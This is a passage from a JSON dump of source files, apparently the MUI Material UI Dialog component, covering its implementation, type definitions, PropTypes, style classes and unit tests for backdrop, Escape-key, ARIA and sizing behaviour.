https://www.w3.org/TR/wai-aria-1.2/#dialog and https://www.w3.org/TR/wai-aria-1.2/#alertdialog for more details.\n   * @default 'dialog'\n   */\n  role?: 'dialog' | 'alertdialog' | undefined;\n  /**\n   * The component used to render the body of the dialog.\n   * @default Paper\n   */\n  PaperComponent?: React.JSXElementConstructor<PaperProps> | undefined;\n  /**\n   * Determine the container for scrolling the dialog.\n   * @default 'paper'\n   */\n  scroll?: 'body' | 'paper' | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The duration for the transition, in milliseconds.\n   * You may specify a single timeout for all transitions, or individually with an object.\n   * @default {\n   *   enter: theme.transitions.duration.enteringScreen,\n   *   exit: theme.transitions.duration.leavingScreen,\n   * }\n   */\n  transitionDuration?: TransitionProps['timeout'] | undefined;\n}\n\n/**\n * Dialogs are overlaid modal paper based components with a backdrop.\n *\n * Demos:\n *\n * - [Dialog](https://next.mui.com/material-ui/react-dialog/)\n *\n * API:\n *\n * - [Dialog API](https://next.mui.com/material-ui/api/dialog/)\n * - inherits [Modal API](https://next.mui.com/material-ui/api/modal/)\n */\nexport default function Dialog(props: DialogProps): React.JSX.Element;\n\nexport interface DialogOwnerState extends Omit<DialogProps, 'slots' | 'slotProps'> {}\n"
  },
  {
    "path": "packages/mui-material/src/Dialog/Dialog.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport useId from '@mui/utils/useId';\nimport capitalize from '../utils/capitalize';\nimport Modal from '../Modal';\nimport Fade from '../Fade';\nimport Paper from '../Paper';\nimport { getDialogUtilityClass } from './dialogClasses';\nimport DialogContext from './DialogContext';\nimport Backdrop from '../Backdrop';\nimport { styled, useTheme } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport useSlot from '../utils/useSlot';\n\nconst DialogBackdrop = styled(Backdrop, {\n  name: 'MuiDialog',\n  slot: 'Backdrop',\n})({\n  // Improve scrollable dialog support.\n  zIndex: -1,\n});\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, scroll, maxWidth, fullWidth, fullScreen } = ownerState;\n\n  const slots = {\n    root: ['root'],\n    backdrop: ['backdrop'],\n    container: ['container', `scroll${capitalize(scroll)}`],\n    paper: [\n      'paper',\n      `paperWidth${capitalize(String(maxWidth))}`,\n      fullWidth && 'paperFullWidth',\n      fullScreen && 'paperFullScreen',\n    ],\n  };\n\n  return composeClasses(slots, getDialogUtilityClass, classes);\n};\n\nconst DialogRoot = styled(Modal, {\n  name: 'MuiDialog',\n  slot: 'Root',\n})({\n  '@media print': {\n    // Use !important to override the Modal inline-style.\n    position: 'absolute !important',\n  },\n});\n\nconst DialogContainer = styled('div', {\n  name: 'MuiDialog',\n  slot: 'Container',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.container, styles[`scroll${capitalize(ownerState.scroll)}`]];\n  },\n})({\n  height: '100%',\n  '@media print': {\n    height: 'auto',\n  },\n  // We disable the focus ring for mouse, touch and keyboard users.\n  outline: 0,\n  variants: [\n    {\n      props: {\n        scroll: 'paper',\n      },\n      style: {\n        display: 'flex',\n        justifyContent: 'center',\n        alignItems: 'center',\n      },\n    },\n    {\n      props: {\n        scroll: 'body',\n      },\n      style: {\n        overflowY: 'auto',\n        overflowX: 'hidden',\n        textAlign: 'center',\n        '&::after': {\n          content: '\"\"',\n          display: 'inline-block',\n          verticalAlign: 'middle',\n          height: '100%',\n          width: '0',\n        },\n      },\n    },\n  ],\n});\n\nconst DialogPaper = styled(Paper, {\n  name: 'MuiDialog',\n  slot: 'Paper',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.paper,\n      styles[`paperWidth${capitalize(String(ownerState.maxWidth))}`],\n      ownerState.fullWidth && styles.paperFullWidth,\n      ownerState.fullScreen && styles.paperFullScreen,\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    margin: 32,\n    position: 'relative',\n    overflowY: 'auto',\n    '@media print': {\n      overflowY: 'visible',\n      boxShadow: 'none',\n    },\n    variants: [\n      {\n        props: {\n          scroll: 'paper',\n        },\n        style: {\n          display: 'flex',\n          flexDirection: 'column',\n          maxHeight: 'calc(100% - 64px)',\n        },\n      },\n      {\n        props: {\n          scroll: 'body',\n        },\n        style: {\n          display: 'inline-block',\n          verticalAlign: 'middle',\n          textAlign: 'initial',\n        },\n      },\n      {\n        props: ({ ownerState }) => !ownerState.maxWidth,\n        style: {\n          maxWidth: 'calc(100% - 64px)',\n        },\n      },\n      {\n        props: {\n          maxWidth: 'xs',\n        },\n        style: {\n          maxWidth:\n            theme.breakpoints.unit === 'px'\n              ? Math.max(theme.breakpoints.values.xs, 444)\n              : `max(${theme.breakpoints.values.xs}${theme.breakpoints.unit}, 444px)`,\n        },\n      },\n      {\n        props: {\n          maxWidth: 'xs',\n          scroll: 'body',\n        },\n        style: {\n          [theme.breakpoints.down(Math.max(theme.breakpoints.values.xs, 444) + 32 * 2)]: {\n            maxWidth: 'calc(100% - 64px)',\n          },\n        },\n      },\n      ...Object.keys(theme.breakpoints.values)\n        .filter((maxWidth) => maxWidth !== 'xs')\n        .map((maxWidth) => ({\n          props: { maxWidth },\n          style: {\n            maxWidth: `${theme.breakpoints.values[maxWidth]}${theme.breakpoints.unit}`,\n          },\n        })),\n      ...Object.keys(theme.breakpoints.values)\n        .filter((maxWidth) => maxWidth !== 'xs')\n        .map((maxWidth) => ({\n          props: { maxWidth, scroll: 'body' },\n          style: {\n            [theme.breakpoints.down(theme.breakpoints.values[maxWidth] + 32 * 2)]: {\n              maxWidth: 'calc(100% - 64px)',\n            },\n          },\n        })),\n      {\n        props: ({ ownerState }) => ownerState.fullWidth,\n        style: {\n          width: 'calc(100% - 64px)',\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.fullScreen,\n        style: {\n          margin: 0,\n          width: '100%',\n          maxWidth: '100%',\n          height: '100%',\n          maxHeight: 'none',\n          borderRadius: 0,\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.fullScreen && ownerState.scroll === 'body',\n        style: {\n          margin: 0,\n          maxWidth: '100%',\n        },\n      },\n    ],\n  })),\n);\n\n/**\n * Dialogs are overlaid modal paper based components with a backdrop.\n */\nconst Dialog = React.forwardRef(function Dialog(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiDialog' });\n  const theme = useTheme();\n  const defaultTransitionDuration = {\n    enter: theme.transitions.duration.enteringScreen,\n    exit: theme.transitions.duration.leavingScreen,\n  };\n\n  const {\n    'aria-describedby': ariaDescribedby,\n    'aria-labelledby': ariaLabelledbyProp,\n    'aria-modal': ariaModal = true,\n    children,\n    className,\n    fullScreen = false,\n    fullWidth = false,\n    maxWidth = 'sm',\n    onClick,\n    onClose,\n    open,\n    PaperComponent = Paper,\n    role = 'dialog',\n    scroll = 'paper',\n    slots = {},\n    slotProps = {},\n    transitionDuration = defaultTransitionDuration,\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    fullScreen,\n    fullWidth,\n    maxWidth,\n    scroll,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const backdropClick = React.useRef();\n  const handleMouseDown = (event) => {\n    // We don't want to close the dialog when clicking the dialog content.\n    // Make sure the event starts and ends on the same DOM element.\n    backdropClick.current = event.target === event.currentTarget;\n  };\n  const handleBackdropClick = (event) => {\n    if (onClick) {\n      onClick(event);\n    }\n\n    // Ignore the events not coming from the \"backdrop\".\n    if (!backdropClick.current) {\n      return;\n    }\n\n    backdropClick.current = null;\n\n    if (onClose) {\n      onClose(event, 'backdropClick');\n    }\n  };\n\n  const ariaLabelledby = useId(ariaLabelledbyProp);\n  const dialogContextValue = React.useMemo(() => {\n    return { titleId: ariaLabelledby };\n  }, [ariaLabelledby]);\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [RootSlot, rootSlotProps] = useSlot('root', {\n    elementType: DialogRoot,\n    shouldForwardComponentProp: true,\n    externalForwardedProps,\n    ownerState,\n    className: clsx(classes.root, className),\n    ref,\n  });\n\n  const [BackdropSlot, backdropSlotProps] = useSlot('backdrop', {\n    elementType: DialogBackdrop,\n    shouldForwardComponentProp: true,\n    externalForwardedProps,\n    ownerState,\n    className: classes.backdrop,\n  });\n\n  const [PaperSlot, paperSlotProps] = useSlot('paper', {\n    elementType: DialogPaper,\n    shouldForwardComponentProp: true,\n    externalForwardedProps,\n    ownerState,\n    className: classes.paper,\n  });\n\n  const [ContainerSlot, containerSlotProps] = useSlot('container', {\n    elementType: DialogContainer,\n    externalForwardedProps,\n    ownerState,\n    className: classes.container,\n  });\n\n  const [TransitionSlot, transitionSlotProps] = useSlot('transition', {\n    elementType: Fade,\n    externalForwardedProps,\n    ownerState,\n    additionalProps: {\n      appear: true,\n      in: open,\n      timeout: transitionDuration,\n      role: 'presentation',\n    },\n  });\n\n  return (\n    <RootSlot\n      closeAfterTransition\n      slots={{ backdrop: BackdropSlot }}\n      slotProps={{\n        backdrop: {\n          transitionDuration,\n          ...backdropSlotProps,\n        },\n      }}\n      onClose={onClose}\n      open={open}\n      onClick={handleBackdropClick}\n      {...rootSlotProps}\n      {...other}\n    >\n      <TransitionSlot {...transitionSlotProps}>\n        {/* roles are applied via cloneElement from TransitionComponent */}\n        {/* roles needs to be applied on the immediate child of Modal or it'll inject one */}\n        <ContainerSlot onMouseDown={handleMouseDown} {...containerSlotProps}>\n          <PaperSlot\n            as={PaperComponent}\n            elevation={24}\n            role={role}\n            aria-describedby={ariaDescribedby}\n            aria-labelledby={ariaLabelledby}\n            aria-modal={ariaModal}\n            {...paperSlotProps}\n          >\n            <DialogContext.Provider value={dialogContextValue}>{children}</DialogContext.Provider>\n          </PaperSlot>\n        </ContainerSlot>\n      </TransitionSlot>\n    </RootSlot>\n  );\n});\n\nDialog.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The id(s) of the element(s) that describe the dialog.\n   */\n  'aria-describedby': PropTypes.string,\n  /**\n   * The id(s) of the element(s) that label the dialog.\n   */\n  'aria-labelledby': PropTypes.string,\n  /**\n   * Informs assistive technologies that the element is modal.\n   * It's added on the element with role=\"dialog\".\n   * @default true\n   */\n  'aria-modal': PropTypes.oneOfType([PropTypes.oneOf(['false', 'true']), PropTypes.bool]),\n  /**\n   * Dialog children, usually the included sub-components.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * If `true`, the dialog is full-screen.\n   * @default false\n   */\n  fullScreen: PropTypes.bool,\n  /**\n   * If `true`, the dialog stretches to `maxWidth`.\n   *\n   * Notice that the dialog width grow is limited by the default margin.\n   * @default false\n   */\n  fullWidth: PropTypes.bool,\n  /**\n   * Determine the max-width of the dialog.\n   * The dialog width grows with the size of the screen.\n   * Set to `false` to disable `maxWidth`.\n   * @default 'sm'\n   */\n  maxWidth: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['xs', 'sm', 'md', 'lg', 'xl', false]),\n    PropTypes.string,\n  ]),\n  /**\n   * @ignore\n   */\n  onClick: PropTypes.func,\n  /**\n   * Callback fired when the component requests to be closed.\n   *\n   * @param {object} event The event source of the callback.\n   * @param {string} reason Can be: `\"escapeKeyDown\"`, `\"backdropClick\"`.\n   */\n  onClose: PropTypes.func,\n  /**\n   * If `true`, the component is shown.\n   */\n  open: PropTypes.bool.isRequired,\n  /**\n   * The component used to render the body of the dialog.\n   * @default Paper\n   */\n  PaperComponent: PropTypes.elementType,\n  /**\n   * The ARIA role for the dialog element.\n   * The main dialog role is `dialog`, but `alertdialog` can be used if the content of the dialog requires immediate attention.\n   * See https://www.w3.org/TR/wai-aria-1.2/#dialog and https://www.w3.org/TR/wai-aria-1.2/#alertdialog for more details.\n   * @default 'dialog'\n   */\n  role: PropTypes.oneOf(['alertdialog', 'dialog']),\n  /**\n   * Determine the container for scrolling the dialog.\n   * @default 'paper'\n   */\n  scroll: PropTypes.oneOf(['body', 'paper']),\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    backdrop: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    container: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    paper: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    transition: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    backdrop: PropTypes.elementType,\n    container: PropTypes.elementType,\n    paper: PropTypes.elementType,\n    root: PropTypes.elementType,\n    transition: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The duration for the transition, in milliseconds.\n   * You may specify a single timeout for all transitions, or individually with an object.\n   * @default {\n   *   enter: theme.transitions.duration.enteringScreen,\n   *   exit: theme.transitions.duration.leavingScreen,\n   * }\n   */\n  transitionDuration: PropTypes.oneOfType([\n    PropTypes.number,\n    PropTypes.shape({\n      appear: PropTypes.number,\n      enter: PropTypes.number,\n      exit: PropTypes.number,\n    }),\n  ]),\n};\n\nexport default Dialog;\n"
  },
  {
    "path": "packages/mui-material/src/Dialog/Dialog.spec.tsx",
    "content": "import * as React from 'react';\nimport { expectType } from '@mui/types';\nimport { mergeSlotProps } from '@mui/material/utils';\nimport Dialog, { DialogProps } from '@mui/material/Dialog';\nimport { PaperProps } from '@mui/material/Paper';\n\nconst paperProps: PaperProps<'span'> = {\n  component: 'span',\n  onClick: (event) => {\n    expectType<React.MouseEvent<HTMLSpanElement, MouseEvent>, typeof event>(event);\n  },\n};\nfunction Test() {\n  return (\n    <React.Fragment>\n      <Dialog open />;\n      <Dialog open slotProps={{ paper: paperProps }} />;\n      <Dialog\n        open\n        slotProps={{\n          // @ts-expect-error — unknown props should be rejected\n          transition: { randomInvalidProp: 'test' },\n        }}\n      />\n      ;\n    </React.Fragment>\n  );\n}\n\nfunction DialogWithAlertRole() {\n  return <Dialog open role=\"alertdialog\" />;\n}\n\nfunction Custom(props: DialogProps) {\n  const { slotProps, ...other } = props;\n  return (\n    <Dialog\n      slotProps={{\n        ...slotProps,\n        transition: (ownerState) => {\n          const transitionProps =\n            typeof slotProps?.transition === 'function'\n              ? slotProps.transition(ownerState)\n              : slotProps?.transition;\n          return {\n            ...transitionProps,\n            onExited: (node) => {\n              transitionProps?.onExited?.(node);\n            },\n          };\n        },\n      }}\n      {...other}\n    >\n      test\n    </Dialog>\n  );\n}\n\nfunction Custom2(props: DialogProps) {\n  const { slotProps, ...other } = props;\n  return (\n    <Dialog\n      slotProps={{\n        ...slotProps,\n        transition: mergeSlotProps(slotProps?.transition, {\n          onExited: (node) => {\n            expectType<HTMLElement, typeof node>(node);\n          },\n        }),\n      }}\n      {...other}\n    >\n      test\n    </Dialog>\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/src/Dialog/Dialog.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { act, createRenderer, fireEvent, screen, isJsdom } from '@mui/internal-test-utils';\nimport Modal from '@mui/material/Modal';\nimport Dialog, { dialogClasses as classes } from '@mui/material/Dialog';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Fade from '@mui/material/Fade';\nimport describeConformance from '../../test/describeConformance';\n\n/**\n * more comprehensive simulation of a user click (mousedown + click)\n * @param {HTMLElement} element\n */\nfunction userClick(element) {\n  fireEvent.mouseDown(element);\n  fireEvent.mouseUp(element);\n  act(() => {\n    element.click();\n  });\n}\n\n/**\n * @param {typeof import('@mui/internal-test-utils').screen}\n */\nfunction findBackdrop() {\n  return screen.getByRole('dialog').parentElement;\n}\n\nfunction clickBackdrop() {\n  userClick(findBackdrop());\n}\n\nconst CustomFade = React.forwardRef(function CustomFade(props, ref) {\n  return <Fade {...props} ref={ref} data-testid=\"custom\" />;\n});\n\ndescribe('<Dialog />', () => {\n  const { clock, render } = createRenderer({ clock: 'fake' });\n\n  describeConformance(\n    <Dialog open disablePortal>\n      foo\n    </Dialog>,\n    () => ({\n      classes,\n      inheritComponent: Modal,\n      muiName: 'MuiDialog',\n      render,\n      testVariantProps: { variant: 'foo' },\n      testDeepOverrides: { slotName: 'paper', slotClassName: classes.paper },\n      refInstanceof: window.HTMLDivElement,\n      slots: {\n        transition: {\n          expectedClassName: classes.transition,\n          testWithComponent: CustomFade,\n          testWithElement: null,\n        },\n        root: {\n          expectedClassName: classes.root,\n          testWithElement: null,\n        },\n        backdrop: {\n          expectedClassName: classes.backdrop,\n          testWithElement: null,\n        },\n        container: {\n          expectedClassName: classes.container,\n          testWithElement: null,\n          testWithComponent: CustomFade,\n        },\n        paper: {\n          expectedClassName: classes.paper,\n          testWithElement: null,\n        },\n      },\n      skip: ['componentProp', 'themeVariants'],\n    }),\n  );\n\n  it('should work correctly when using css selectors for scroll=\"body\"', () => {\n    render(\n      <Dialog open scroll=\"body\">\n        foo\n      </Dialog>,\n    );\n\n    expect(document.querySelector(`.${classes.scrollBody} > .${classes.paper}`)).not.to.equal(null);\n  });\n\n  it('should work correctly when using css selectors for scroll=\"paper\"', () => {\n    render(\n      <Dialog open scroll=\"paper\">\n        foo\n      </Dialog>,\n    );\n\n    expect(document.querySelector(`.${classes.scrollPaper} > .${classes.paper}`)).not.to.equal(\n      null,\n    );\n  });\n\n  it('should render with slots.transition', () => {\n    const Transition = React.forwardRef(() => <div data-testid=\"Transition\" tabIndex={-1} />);\n\n    render(\n      <Dialog open slots={{ transition: Transition }}>\n        foo\n      </Dialog>,\n    );\n\n    expect(screen.getAllByTestId('Transition')).to.have.lengthOf(1);\n  });\n\n  it('calls onClose when pressing Esc and removes the content after the specified duration', () => {\n    const onClose = spy();\n    function TestCase() {\n      const [open, close] = React.useReducer(() => false, true);\n      const handleClose = (...args) => {\n        close();\n        onClose(...args);\n      };\n\n      return (\n        <Dialog open={open} transitionDuration={100} onClose={handleClose}>\n          foo\n        </Dialog>\n      );\n    }\n    render(<TestCase />);\n    const dialog = screen.getByRole('dialog');\n    expect(dialog).not.to.equal(null);\n\n    act(() => {\n      dialog.click();\n    });\n\n    // keyDown not targeted at anything specific\n    // eslint-disable-next-line mui/disallow-active-element-as-key-event-target\n    fireEvent.keyDown(document.activeElement, { key: 'Escape' });\n    expect(onClose.calledOnce).to.equal(true);\n\n    clock.tick(100);\n\n    expect(screen.queryByRole('dialog')).to.equal(null);\n  });\n\n  it('should not close until the IME is cancelled', () => {\n    const onClose = spy();\n\n    render(\n      <Dialog open transitionDuration={0} onClose={onClose}>\n        <input type=\"text\" autoFocus />\n      </Dialog>,\n    );\n\n    const textbox = screen.getByRole('textbox');\n\n    // Actual Behavior when \"あ\" (Japanese) is entered and press the Esc for IME cancellation.\n    fireEvent.change(textbox, { target: { value: 'あ' } });\n    fireEvent.keyDown(textbox, { key: 'Escape', keyCode: 229 });\n    expect(onClose.callCount).to.equal(0);\n\n    fireEvent.keyDown(textbox, { key: 'Escape' });\n    expect(onClose.callCount).to.equal(1);\n  });\n\n  it('can ignore backdrop click and Esc keydown', () => {\n    function DialogWithBackdropClickDisabled(props) {\n      const { onClose, ...other } = props;\n      function handleClose(event, reason) {\n        if (!['backdropClick', 'escapeKeyDown'].includes(reason)) {\n          onClose(event, reason);\n        }\n      }\n\n      return <Dialog onClose={handleClose} {...other} />;\n    }\n    const onClose = spy();\n    render(\n      <DialogWithBackdropClickDisabled open onClose={onClose} transitionDuration={0}>\n        foo\n      </DialogWithBackdropClickDisabled>,\n    );\n    const dialog = screen.getByRole('dialog');\n    expect(dialog).not.to.equal(null);\n\n    act(() => {\n      dialog.click();\n    });\n    // keyDown is not targeted at anything specific.\n    // eslint-disable-next-line mui/disallow-active-element-as-key-event-target\n    fireEvent.keyDown(document.activeElement, { key: 'Escape' });\n\n    expect(onClose.callCount).to.equal(0);\n\n    clickBackdrop();\n    expect(onClose.callCount).to.equal(0);\n  });\n\n  describe('backdrop', () => {\n    it('does have `role` `presentation`', () => {\n      render(<Dialog open>foo</Dialog>);\n\n      expect(findBackdrop()).to.have.attribute('role', 'presentation');\n    });\n\n    it('calls onClose when clicked', () => {\n      const onClose = spy();\n      render(\n        <Dialog onClose={onClose} open>\n          foo\n        </Dialog>,\n      );\n\n      clickBackdrop();\n      expect(onClose.callCount).to.equal(1);\n    });\n\n    it('should not close if the target changes between the mousedown and the click', () => {\n      render(\n        <Dialog open>\n          <h2>my dialog</h2>\n        </Dialog>,\n      );\n\n      fireEvent.mouseDown(screen.getByRole('heading'));\n      clickBackdrop();\n      expect(screen.getByRole('dialog')).not.to.equal(null);\n    });\n  });\n\n  describe('prop: classes', () => {\n    it('should add the class on the Paper element', () => {\n      render(\n        <Dialog\n          open\n          classes={{ paper: 'my-paperclass' }}\n          slotProps={{ paper: { 'data-testid': 'paper' } }}\n        >\n          foo\n        </Dialog>,\n      );\n\n      expect(screen.getByTestId('paper')).to.have.class('my-paperclass');\n    });\n  });\n\n  describe('prop: maxWidth', () => {\n    it('should use the right className', () => {\n      render(\n        <Dialog open maxWidth=\"xs\" slotProps={{ paper: { 'data-testid': 'paper' } }}>\n          foo\n        </Dialog>,\n      );\n\n      expect(screen.getByTestId('paper')).to.have.class(classes.paperWidthXs);\n    });\n\n    it('should use the right className when maxWidth={false}', () => {\n      render(\n        <Dialog open maxWidth={false} slotProps={{ paper: { 'data-testid': 'paper' } }}>\n          foo\n        </Dialog>,\n      );\n      expect(screen.getByTestId('paper')).to.have.class(classes.paperWidthFalse);\n    });\n\n    it('should apply the correct max-width styles when maxWidth={false}', () => {\n      render(\n        <Dialog open maxWidth={false} slotProps={{ paper: { 'data-testid': 'paper' } }}>\n          foo\n        </Dialog>,\n      );\n\n      expect(screen.getByTestId('paper')).toHaveComputedStyle({\n        maxWidth: 'calc(100% - 64px)',\n      });\n    });\n  });\n\n  describe('prop: fullWidth', () => {\n    it('should set `fullWidth` class if specified', () => {\n      render(\n        <Dialog open fullWidth slotProps={{ paper: { 'data-testid': 'paper' } }}>\n          foo\n        </Dialog>,\n      );\n\n      expect(screen.getByTestId('paper')).to.have.class(classes.paperFullWidth);\n    });\n\n    it('should not set `fullWidth` class if not specified', () => {\n      render(\n        <Dialog open slotProps={{ paper: { 'data-testid': 'paper' } }}>\n          foo\n        </Dialog>,\n      );\n\n      expect(screen.getByTestId('paper')).not.to.have.class(classes.paperFullWidth);\n    });\n  });\n\n  describe('prop: fullScreen', () => {\n    it('can render fullScreen if true', () => {\n      render(\n        <Dialog open fullScreen slotProps={{ paper: { 'data-testid': 'paper' } }}>\n          foo\n        </Dialog>,\n      );\n\n      expect(screen.getByTestId('paper')).to.have.class(classes.paperFullScreen);\n    });\n\n    it('does not render fullScreen by default', () => {\n      render(\n        <Dialog open slotProps={{ paper: { 'data-testid': 'paper' } }}>\n          foo\n        </Dialog>,\n      );\n\n      expect(screen.getByTestId('paper')).not.to.have.class(classes.paperFullScreen);\n    });\n\n    it.skipIf(isJsdom())('scrolls if overflown on the Y axis', function test() {\n      const ITEM_HEIGHT = 100;\n      const ITEM_COUNT = 10;\n\n      render(\n        <Dialog\n          open\n          fullScreen\n          slotProps={{ paper: { 'data-testid': 'paper', sx: { height: ITEM_HEIGHT } } }}\n        >\n          {Array.from(Array(ITEM_COUNT).keys()).map((item) => (\n            <div key={item} style={{ flexShrink: 0, height: ITEM_HEIGHT }}>\n              {item}\n            </div>\n          ))}\n        </Dialog>,\n      );\n\n      const paperElement = screen.getByTestId('paper');\n      expect(paperElement.scrollTop).to.equal(0);\n      expect(paperElement.clientHeight).to.equal(ITEM_HEIGHT);\n      expect(paperElement.scrollHeight).to.equal(ITEM_HEIGHT * ITEM_COUNT);\n      fireEvent.scroll(paperElement, { target: { scrollTop: ITEM_HEIGHT } });\n      expect(paperElement.scrollTop).to.equal(ITEM_HEIGHT);\n    });\n  });\n\n  describe('prop: slotProps.paper.className', () => {\n    it('should merge the className', () => {\n      render(\n        <Dialog\n          open\n          slotProps={{ paper: { className: 'custom-paper-class', 'data-testid': 'paper' } }}\n        >\n          foo\n        </Dialog>,\n      );\n\n      expect(screen.getByTestId('paper')).to.have.class(classes.paper);\n      expect(screen.getByTestId('paper')).to.have.class('custom-paper-class');\n    });\n  });\n\n  describe('a11y', () => {\n    it('can be labelled by another element', () => {\n      render(\n        <Dialog open aria-labelledby=\"dialog-title\">\n          <h1 id=\"dialog-title\">Choose either one</h1>\n          <div>Actually you cant</div>\n        </Dialog>,\n      );\n\n      const dialog = screen.getByRole('dialog');\n      expect(dialog).to.have.attr('aria-labelledby', 'dialog-title');\n      const label = document.getElementById(dialog.getAttribute('aria-labelledby'));\n      expect(label).to.have.text('Choose either one');\n    });\n\n    it('should be described by another element', () => {\n      render(\n        <Dialog open aria-describedby=\"dialog-description\">\n          <h1>Choose either one</h1>\n          <div id=\"dialog-description\">Actually no</div>\n        </Dialog>,\n      );\n\n      const dialog = screen.getByRole('dialog');\n      expect(dialog).to.have.attr('aria-describedby', 'dialog-description');\n    });\n\n    it('should add the aria-modal=\"true\" by default', function test() {\n      render(<Dialog open />);\n\n      const dialog = screen.getByRole('dialog');\n      expect(dialog).to.have.attr('aria-modal', 'true');\n    });\n\n    it('should render the custom aria-modal prop if provided', function test() {\n      render(<Dialog aria-modal=\"false\" open />);\n\n      const dialog = screen.getByRole('dialog');\n      expect(dialog).to.have.attr('aria-modal', 'false');\n    });\n\n    it('should override the role if provided', function test() {\n      render(<Dialog role=\"alertdialog\" open />);\n\n      expect(screen.getByRole('alertdialog')).not.to.equal(null);\n    });\n  });\n\n  describe('prop: transitionDuration', () => {\n    it.skipIf(isJsdom())('should render the default theme values by default', function test() {\n      const theme = createTheme();\n      const enteringScreenDurationInSeconds = theme.transitions.duration.enteringScreen / 1000;\n      render(<Dialog open />);\n\n      const container = document.querySelector(`.${classes.container}`);\n      expect(container).toHaveComputedStyle({\n        transitionDuration: `${enteringScreenDurationInSeconds}s`,\n      });\n    });\n\n    it.skipIf(isJsdom())('should render the custom theme values', function test() {\n      const theme = createTheme({\n        transitions: {\n          duration: {\n            enteringScreen: 1,\n          },\n        },\n      });\n      render(\n        <ThemeProvider theme={theme}>\n          <Dialog open />\n        </ThemeProvider>,\n      );\n\n      const container = document.querySelector(`.${classes.container}`);\n      expect(container).toHaveComputedStyle({ transitionDuration: '0.001s' });\n    });\n\n    it.skipIf(isJsdom())('should render the values provided via prop', function test() {\n      render(<Dialog open transitionDuration={{ enter: 1 }} />);\n\n      const container = document.querySelector(`.${classes.container}`);\n      expect(container).toHaveComputedStyle({\n        transitionDuration: '0.001s',\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Dialog/DialogContext.ts",
    "content": "'use client';\nimport * as React from 'react';\n\ninterface DialogContextValue {\n  titleId?: string | undefined;\n}\n\nconst DialogContext = React.createContext<DialogContextValue>({});\n\nif (process.env.NODE_ENV !== 'production') {\n  DialogContext.displayName = 'DialogContext';\n}\n\nexport default DialogContext;\n"
  },
  {
    "path": "packages/mui-material/src/Dialog/dialogClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface DialogClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the backdrop element. */\n  backdrop: string;\n  /** Styles applied to the container element if `scroll=\"paper\"`. */\n  scrollPaper: string;\n  /** Styles applied to the container element if `scroll=\"body\"`. */\n  scrollBody: string;\n  /** Styles applied to the container element. */\n  container: string;\n  /** Styles applied to the Paper component. */\n  paper: string;\n  /** Styles applied to the Paper component if `maxWidth=false`. */\n  paperWidthFalse: string;\n  /** Styles applied to the Paper component if `maxWidth=\"xs\"`. */\n  paperWidthXs: string;\n  /** Styles applied to the Paper component if `maxWidth=\"sm\"`. */\n  paperWidthSm: string;\n  /** Styles applied to the Paper component if `maxWidth=\"md\"`. */\n  paperWidthMd: string;\n  /** Styles applied to the Paper component if `maxWidth=\"lg\"`. */\n  paperWidthLg: string;\n  /** Styles applied to the Paper component if `maxWidth=\"xl\"`. */\n  paperWidthXl: string;\n  /** Styles applied to the Paper component if `fullWidth={true}`. */\n  paperFullWidth: string;\n  /** Styles applied to the Paper component if `fullScreen={true}`. */\n  paperFullScreen: string;\n}\n\nexport type DialogClassKey = keyof DialogClasses;\n\nexport function getDialogUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiDialog', slot);\n}\n\nconst dialogClasses: DialogClasses = generateUtilityClasses('MuiDialog', [\n  'root',\n  'backdrop',\n  'scrollPaper',\n  'scrollBody',\n  'container',\n  'paper',\n  'paperWidthFalse',\n  'paperWidthXs',\n  'paperWidthSm',\n  'paperWidthMd',\n  'paperWidthLg',\n  'paperWidthXl',\n  'paperFullWidth',\n  'paperFullScreen',\n]);\n\nexport default dialogClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Dialog/index.d.ts",
